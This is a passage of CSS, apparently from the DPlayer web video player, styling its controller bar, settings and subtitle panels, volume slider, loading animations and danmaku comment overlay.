rotate(-1.5deg);\n }\n 8% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 10% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 12% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 14% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 16% {\n transform: translate(0, -0.5px) rotate(-1.5deg);\n }\n 18% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 20% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 22% {\n transform: translate(0, 0.5px) rotate(-1.5deg);\n }\n 24% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 26% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 28% {\n transform: translate(0, 0.5px) rotate(1.5deg);\n }\n 30% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 32% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 34% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 36% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 38% {\n transform: translate(0, 1.5px) rotate(-1.5deg);\n }\n 40% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 42% {\n transform: translate(0, 2.5px) rotate(-1.5deg);\n }\n 44% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 46% {\n transform: translate(0, -1.5px) rotate(2.5deg);\n }\n 48% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 50% {\n transform: translate(0, 0.5px) rotate(0.5deg);\n }\n 52% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 54% {\n transform: translate(0, -1.5px) rotate(1.5deg);\n }\n 56% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 58% {\n transform: translate(0, 0.5px) rotate(2.5deg);\n }\n 60% {\n transform: translate(0, 2.5px) rotate(2.5deg);\n }\n 62% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 64% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 66% {\n transform: translate(0, 1.5px) rotate(-0.5deg);\n }\n 68% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 70% {\n transform: translate(0, 1.5px) rotate(0.5deg);\n }\n 72% {\n transform: translate(0, 2.5px) rotate(1.5deg);\n }\n 74% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 76% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 78% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 80% {\n transform: translate(0, 1.5px) rotate(1.5deg);\n }\n 82% {\n transform: translate(0, -0.5px) rotate(0.5deg);\n }\n 84% {\n transform: translate(0, 1.5px) rotate(2.5deg);\n }\n 86% {\n transform: translate(0, -1.5px) rotate(-1.5deg);\n }\n 88% {\n transform: translate(0, -0.5px) rotate(2.5deg);\n }\n 90% {\n transform: translate(0, 2.5px) rotate(-0.5deg);\n }\n 92% {\n transform: translate(0, 0.5px) rotate(-0.5deg);\n }\n 94% {\n transform: translate(0, 2.5px) rotate(0.5deg);\n }\n 96% {\n transform: translate(0, -0.5px) rotate(1.5deg);\n }\n 98% {\n transform: translate(0, -1.5px) rotate(-0.5deg);\n }\n 0%,\n 100% {\n transform: translate(0, 0) rotate(0deg);\n }\n}\n.dplayer {\n position: relative;\n overflow: hidden;\n user-select: none;\n line-height: 1;\n}\n.dplayer * {\n box-sizing: content-box;\n}\n.dplayer svg {\n width: 100%;\n height: 100%;\n}\n.dplayer svg path,\n.dplayer svg circle {\n fill: #fff;\n}\n.dplayer:-webkit-full-screen {\n width: 100%;\n height: 100%;\n background: #000;\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n margin: 0;\n padding: 0;\n transform: translate(0, 0);\n}\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-showdan,\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-danmaku,\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box .dplayer-setting-danunlimit {\n display: none;\n}\n.dplayer.dplayer-no-danmaku .dplayer-controller .dplayer-icons .dplayer-comment {\n display: none;\n}\n.dplayer.dplayer-no-danmaku .dplayer-danmaku {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-time {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-bar-wrap {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-setting-speed {\n display: none;\n}\n.dplayer.dplayer-live .dplayer-setting-loop {\n display: none;\n}\n.dplayer.dplayer-live.dplayer-no-danmaku .dplayer-setting {\n display: none;\n}\n.dplayer.dplayer-arrow .dplayer-danmaku {\n font-size: 18px;\n}\n.dplayer.dplayer-arrow .dplayer-icon {\n margin: 0 -3px;\n}\n.dplayer.dplayer-playing .dplayer-danmaku .dplayer-danmaku-move {\n animation-play-state: running;\n}\n@media (min-width: 900px) {\n .dplayer.dplayer-playing .dplayer-controller-mask {\n opacity: 0;\n }\n .dplayer.dplayer-playing .dplayer-controller {\n opacity: 0;\n }\n .dplayer.dplayer-playing:hover .dplayer-controller-mask {\n opacity: 1;\n }\n .dplayer.dplayer-playing:hover .dplayer-controller {\n opacity: 1;\n }\n}\n.dplayer.dplayer-loading .dplayer-bezel .diplayer-loading-icon {\n display: block;\n}\n.dplayer.dplayer-loading .dplayer-danmaku,\n.dplayer.dplayer-paused .dplayer-danmaku,\n.dplayer.dplayer-loading .dplayer-danmaku-move,\n.dplayer.dplayer-paused .dplayer-danmaku-move {\n animation-play-state: paused;\n}\n.dplayer.dplayer-hide-controller {\n cursor: none;\n}\n.dplayer.dplayer-hide-controller .dplayer-controller-mask {\n opacity: 0;\n transform: translateY(100%);\n}\n.dplayer.dplayer-hide-controller .dplayer-controller {\n opacity: 0;\n transform: translateY(100%);\n}\n.dplayer.dplayer-show-controller .dplayer-controller-mask {\n opacity: 1;\n}\n.dplayer.dplayer-show-controller .dplayer-controller {\n opacity: 1;\n}\n.dplayer.dplayer-fulled {\n position: fixed;\n z-index: 100000;\n left: 0;\n top: 0;\n width: 100% !important;\n height: 100% !important;\n}\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-volume,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-camera-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-airplay-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-chromecast-icon,\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-play-icon {\n display: none;\n}\n.dplayer.dplayer-mobile .dplayer-controller .dplayer-icons .dplayer-full .dplayer-full-in-icon {\n position: static;\n display: inline-block;\n}\n.dplayer.dplayer-mobile .dplayer-bar-time {\n display: none;\n}\n.dplayer.dplayer-mobile.dplayer-hide-controller .dplayer-mobile-play {\n display: none;\n}\n.dplayer.dplayer-mobile .dplayer-mobile-play {\n display: block;\n}\n.dplayer-web-fullscreen-fix {\n position: fixed;\n top: 0;\n left: 0;\n margin: 0;\n padding: 0;\n}\n[data-balloon]:before {\n display: none;\n}\n[data-balloon]:after {\n padding: 0.3em 0.7em;\n background: rgba(17, 17, 17, 0.7);\n}\n[data-balloon][data-balloon-pos=\"up\"]:after {\n margin-bottom: 0;\n}\n.dplayer-bezel {\n position: absolute;\n left: 0;\n right: 0;\n top: 0;\n bottom: 0;\n font-size: 22px;\n color: #fff;\n pointer-events: none;\n}\n.dplayer-bezel .dplayer-bezel-icon {\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -26px 0 0 -26px;\n height: 52px;\n width: 52px;\n padding: 12px;\n box-sizing: border-box;\n background: rgba(0, 0, 0, 0.5);\n border-radius: 50%;\n opacity: 0;\n pointer-events: none;\n}\n.dplayer-bezel .dplayer-bezel-icon.dplayer-bezel-transition {\n animation: bezel-hide 0.5s linear;\n}\n@keyframes bezel-hide {\n from {\n opacity: 1;\n transform: scale(1);\n }\n to {\n opacity: 0;\n transform: scale(2);\n }\n}\n.dplayer-bezel .dplayer-danloading {\n position: absolute;\n top: 50%;\n margin-top: -7px;\n width: 100%;\n text-align: center;\n font-size: 14px;\n line-height: 14px;\n animation: my-face 5s infinite ease-in-out;\n}\n.dplayer-bezel .diplayer-loading-icon {\n display: none;\n position: absolute;\n top: 50%;\n left: 50%;\n margin: -18px 0 0 -18px;\n height: 36px;\n width: 36px;\n pointer-events: none;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-hide {\n display: none;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot {\n animation: diplayer-loading-dot-fade 0.8s ease infinite;\n opacity: 0;\n transform-origin: 4px 4px;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-1 {\n animation-delay: 0.1s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-2 {\n animation-delay: 0.2s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-3 {\n animation-delay: 0.3s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-4 {\n animation-delay: 0.4s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-5 {\n animation-delay: 0.5s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-6 {\n animation-delay: 0.6s;\n}\n.dplayer-bezel .diplayer-loading-icon .diplayer-loading-dot.diplayer-loading-dot-7 {\n animation-delay: 0.7s;\n}\n@keyframes diplayer-loading-dot-fade {\n 0% {\n opacity: 0.7;\n transform: scale(1.2, 1.2);\n }\n 50% {\n opacity: 0.25;\n transform: scale(0.9, 0.9);\n }\n to {\n opacity: 0.25;\n transform: scale(0.85, 0.85);\n }\n}\n.dplayer-controller-mask {\n background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAADGCAYAAAAT+OqFAAAAdklEQVQoz42QQQ7AIAgEF/T/D+kbq/RWAlnQyyazA4aoAB4FsBSA/bFjuF1EOL7VbrIrBuusmrt4ZZORfb6ehbWdnRHEIiITaEUKa5EJqUakRSaEYBJSCY2dEstQY7AuxahwXFrvZmWl2rh4JZ07z9dLtesfNj5q0FU3A5ObbwAAAABJRU5ErkJggg==) repeat-x bottom;\n height: 98px;\n width: 100%;\n position: absolute;\n bottom: 0;\n transition: all 0.3s ease;\n}\n.dplayer-controller {\n position: absolute;\n bottom: 0;\n left: 0;\n right: 0;\n height: 41px;\n padding: 0 20px;\n user-select: none;\n transition: all 0.3s ease;\n}\n.dplayer-controller.dplayer-controller-comment .dplayer-icons {\n display: none;\n}\n.dplayer-controller.dplayer-controller-comment .dplayer-icons.dplayer-comment-box {\n display: block;\n}\n.dplayer-controller .dplayer-bar-wrap {\n padding: 5px 0;\n cursor: pointer;\n position: absolute;\n bottom: 33px;\n width: calc(100% - 40px);\n height: 3px;\n}\n.dplayer-controller .dplayer-bar-wrap:hover .dplayer-bar .dplayer-played .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-bar-wrap:hover .dplayer-highlight {\n display: block;\n width: 8px;\n transform: translateX(-4px);\n top: 4px;\n height: 40%;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight {\n z-index: 12;\n position: absolute;\n top: 5px;\n width: 6px;\n height: 20%;\n border-radius: 6px;\n background-color: #fff;\n text-align: center;\n transform: translateX(-3px);\n transition: all 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover .dplayer-highlight-text {\n display: block;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover ~ .dplayer-bar-preview {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight:hover ~ .dplayer-bar-time {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-highlight .dplayer-highlight-text {\n display: none;\n position: absolute;\n left: 50%;\n top: -24px;\n padding: 5px 8px;\n background-color: rgba(0, 0, 0, 0.62);\n color: #fff;\n border-radius: 4px;\n font-size: 12px;\n white-space: nowrap;\n transform: translateX(-50%);\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-preview {\n position: absolute;\n background: #fff;\n pointer-events: none;\n display: none;\n background-size: 16000px 100%;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-preview-canvas {\n position: absolute;\n width: 100%;\n height: 100%;\n z-index: 1;\n pointer-events: none;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-time {\n position: absolute;\n left: 0px;\n top: -20px;\n border-radius: 4px;\n padding: 5px 7px;\n background-color: rgba(0, 0, 0, 0.62);\n color: #fff;\n font-size: 12px;\n text-align: center;\n opacity: 1;\n transition: opacity 0.1s ease-in-out;\n word-wrap: normal;\n word-break: normal;\n z-index: 2;\n pointer-events: none;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar-time.hidden {\n opacity: 0;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar {\n position: relative;\n height: 3px;\n width: 100%;\n background: rgba(255, 255, 255, 0.2);\n cursor: pointer;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-loaded {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n background: rgba(255, 255, 255, 0.4);\n height: 3px;\n transition: all 0.5s ease;\n will-change: width;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-played {\n position: absolute;\n left: 0;\n top: 0;\n bottom: 0;\n height: 3px;\n will-change: width;\n}\n.dplayer-controller .dplayer-bar-wrap .dplayer-bar .dplayer-played .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons {\n height: 38px;\n position: absolute;\n bottom: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box {\n display: none;\n position: absolute;\n transition: all 0.3s ease-in-out;\n z-index: 2;\n height: 38px;\n bottom: 0;\n left: 20px;\n right: 20px;\n color: #fff;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-icon {\n padding: 7px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-icon {\n position: absolute;\n left: 0;\n top: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-send-icon {\n position: absolute;\n right: 0;\n top: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box {\n position: absolute;\n background: rgba(28, 28, 28, 0.9);\n bottom: 41px;\n left: 0;\n box-shadow: 0 0 25px rgba(0, 0, 0, 0.3);\n border-radius: 4px;\n padding: 10px 10px 16px;\n font-size: 14px;\n width: 204px;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box.dplayer-comment-setting-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box input[type=radio] {\n display: none;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box label {\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-title {\n font-size: 13px;\n color: #fff;\n line-height: 30px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type {\n font-size: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type .dplayer-comment-setting-title {\n margin-bottom: 6px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type label:nth-child(2) span {\n border-radius: 4px 0 0 4px;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type label:nth-child(4) span {\n border-radius: 0 4px 4px 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type span {\n width: 33%;\n padding: 4px 6px;\n line-height: 16px;\n display: inline-block;\n font-size: 12px;\n color: #fff;\n border: 1px solid #fff;\n margin-right: -1px;\n box-sizing: border-box;\n text-align: center;\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-type input:checked + span {\n background: #E4E4E6;\n color: #1c1c1c;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color {\n font-size: 0;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color label {\n font-size: 0;\n padding: 6px;\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color span {\n width: 22px;\n height: 22px;\n display: inline-block;\n border-radius: 50%;\n box-sizing: border-box;\n cursor: pointer;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-setting-box .dplayer-comment-setting-color span:hover {\n animation: my-face 5s infinite ease-in-out;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input {\n outline: none;\n border: none;\n padding: 8px 31px;\n font-size: 14px;\n line-height: 18px;\n text-align: center;\n border-radius: 4px;\n background: none;\n margin: 0;\n height: 100%;\n box-sizing: border-box;\n width: 100%;\n color: #fff;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input::placeholder {\n color: #fff;\n opacity: 0.8;\n}\n.dplayer-controller .dplayer-icons.dplayer-comment-box .dplayer-comment-input::-ms-clear {\n display: none;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-left .dplayer-icon {\n padding: 7px;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-right {\n right: 20px;\n}\n.dplayer-controller .dplayer-icons.dplayer-icons-right .dplayer-icon {\n padding: 8px;\n}\n.dplayer-controller .dplayer-icons .dplayer-time,\n.dplayer-controller .dplayer-icons .dplayer-live-badge {\n line-height: 38px;\n color: #eee;\n text-shadow: 0 0 2px rgba(0, 0, 0, 0.5);\n vertical-align: middle;\n font-size: 13px;\n cursor: default;\n}\n.dplayer-controller .dplayer-icons .dplayer-live-dot {\n display: inline-block;\n width: 6px;\n height: 6px;\n vertical-align: 4%;\n margin-right: 5px;\n content: '';\n border-radius: 6px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon {\n width: 40px;\n height: 100%;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n vertical-align: middle;\n box-sizing: border-box;\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon .dplayer-icon-content {\n transition: all 0.2s ease-in-out;\n opacity: 0.8;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon:hover .dplayer-icon-content {\n opacity: 1;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-quality-icon {\n color: #fff;\n width: auto;\n line-height: 22px;\n font-size: 14px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-comment-icon {\n padding: 10px 9px 9px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-setting-icon {\n padding-top: 8.5px;\n}\n.dplayer-controller .dplayer-icons .dplayer-icon.dplayer-volume-icon {\n width: 43px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume {\n position: relative;\n display: inline-block;\n cursor: pointer;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume:hover .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume:hover .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-volume.dplayer-volume-active .dplayer-volume-bar-wrap .dplayer-volume-bar {\n width: 45px;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume.dplayer-volume-active .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap {\n display: inline-block;\n margin: 0 10px 0 -5px;\n vertical-align: middle;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar {\n position: relative;\n top: 17px;\n width: 0;\n height: 3px;\n background: #aaa;\n transition: all 0.3s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n will-change: width;\n}\n.dplayer-controller .dplayer-icons .dplayer-volume .dplayer-volume-bar-wrap .dplayer-volume-bar .dplayer-volume-bar-inner .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n transform: scale(0);\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitle-btn {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: fit-content;\n max-width: 240px;\n min-width: 120px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all 0.3s ease-in-out;\n overflow: auto;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box.dplayer-subtitles-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-box.dplayer-subtitles-box-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-subtitles .dplayer-subtitles-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box {\n position: absolute;\n right: 0;\n bottom: 50px;\n transform: scale(0);\n width: 150px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 7px 0;\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box > div {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box > div.dplayer-setting-origin-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-open {\n transform: scale(1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-narrow {\n width: 70px;\n text-align: center;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-speed .dplayer-setting-origin-panel {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-box.dplayer-setting-box-speed .dplayer-setting-speed-panel {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-item,\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-speed-item {\n height: 30px;\n padding: 5px 10px;\n box-sizing: border-box;\n cursor: pointer;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-item:hover,\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-speed-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku {\n padding: 5px 0;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-label {\n padding: 0 10px;\n display: inline;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku:hover .dplayer-label {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku:hover .dplayer-danmaku-bar-wrap {\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku.dplayer-setting-danmaku-active .dplayer-label {\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku.dplayer-setting-danmaku-active .dplayer-danmaku-bar-wrap {\n display: inline-block;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap {\n padding: 0 10px;\n box-sizing: border-box;\n display: none;\n vertical-align: middle;\n height: 100%;\n width: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar {\n position: relative;\n top: 8.5px;\n width: 100%;\n height: 3px;\n background: #fff;\n transition: all 0.3s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar .dplayer-danmaku-bar-inner {\n position: absolute;\n bottom: 0;\n left: 0;\n height: 100%;\n transition: all 0.1s ease;\n background: #aaa;\n will-change: width;\n}\n.dplayer-controller .dplayer-icons .dplayer-setting .dplayer-setting-danmaku .dplayer-danmaku-bar-wrap .dplayer-danmaku-bar .dplayer-danmaku-bar-inner .dplayer-thumb {\n position: absolute;\n top: 0;\n right: 5px;\n margin-top: -4px;\n margin-right: -10px;\n height: 11px;\n width: 11px;\n border-radius: 50%;\n cursor: pointer;\n transition: all 0.3s ease-in-out;\n background: #aaa;\n}\n.dplayer-controller .dplayer-icons .dplayer-full {\n display: inline-block;\n height: 100%;\n position: relative;\n}\n.dplayer-controller .dplayer-icons .dplayer-full:hover .dplayer-full-in-icon {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-full .dplayer-full-in-icon {\n position: absolute;\n top: -30px;\n z-index: 1;\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality {\n position: relative;\n display: inline-block;\n height: 100%;\n z-index: 2;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality:hover .dplayer-quality-list {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality:hover .dplayer-quality-mask {\n display: block;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-mask {\n display: none;\n position: absolute;\n bottom: 38px;\n left: -18px;\n width: 80px;\n padding-bottom: 12px;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-list {\n display: none;\n font-size: 12px;\n width: 80px;\n border-radius: 2px;\n background: rgba(28, 28, 28, 0.9);\n padding: 5px 0;\n transition: all 0.3s ease-in-out;\n overflow: hidden;\n color: #fff;\n text-align: center;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-item {\n height: 25px;\n box-sizing: border-box;\n cursor: pointer;\n line-height: 25px;\n}\n.dplayer-controller .dplayer-icons .dplayer-quality .dplayer-quality-item:hover {\n background-color: rgba(255, 255, 255, 0.1);\n}\n.dplayer-controller .dplayer-icons .dplayer-comment {\n display: inline-block;\n height: 100%;\n}\n.dplayer-controller .dplayer-icons .dplayer-label {\n color: #eee;\n font-size: 13px;\n display: inline-block;\n vertical-align: middle;\n white-space: nowrap;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle {\n width: 32px;\n height: 20px;\n text-align: center;\n font-size: 0;\n vertical-align: middle;\n position: absolute;\n top: 5px;\n right: 10px;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input {\n max-height: 0;\n max-width: 0;\n display: none;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label {\n display: inline-block;\n position: relative;\n box-shadow: #dfdfdf 0 0 0 0 inset;\n border: 1px solid #dfdfdf;\n height: 20px;\n width: 32px;\n border-radius: 10px;\n box-sizing: border-box;\n cursor: pointer;\n transition: 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label:before {\n content: \"\";\n position: absolute;\n display: block;\n height: 18px;\n width: 18px;\n top: 0;\n left: 0;\n border-radius: 15px;\n transition: 0.2s ease-in-out;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input + label:after {\n content: \"\";\n position: absolute;\n display: block;\n left: 0;\n top: 0;\n border-radius: 15px;\n background: #fff;\n transition: 0.2s ease-in-out;\n box-shadow: 0 1px 3px rgba(0, 0, 0, 0.4);\n height: 18px;\n width: 18px;\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label {\n border-color: rgba(255, 255, 255, 0.5);\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label:before {\n width: 30px;\n background: rgba(255, 255, 255, 0.5);\n}\n.dplayer-controller .dplayer-icons .dplayer-toggle input:checked + label:after {\n left: 12px;\n}\n.dplayer-mobile-play {\n display: none;\n width: 50px;\n height: 50px;\n border: none;\n background-color: transparent;\n outline: none;\n cursor: pointer;\n 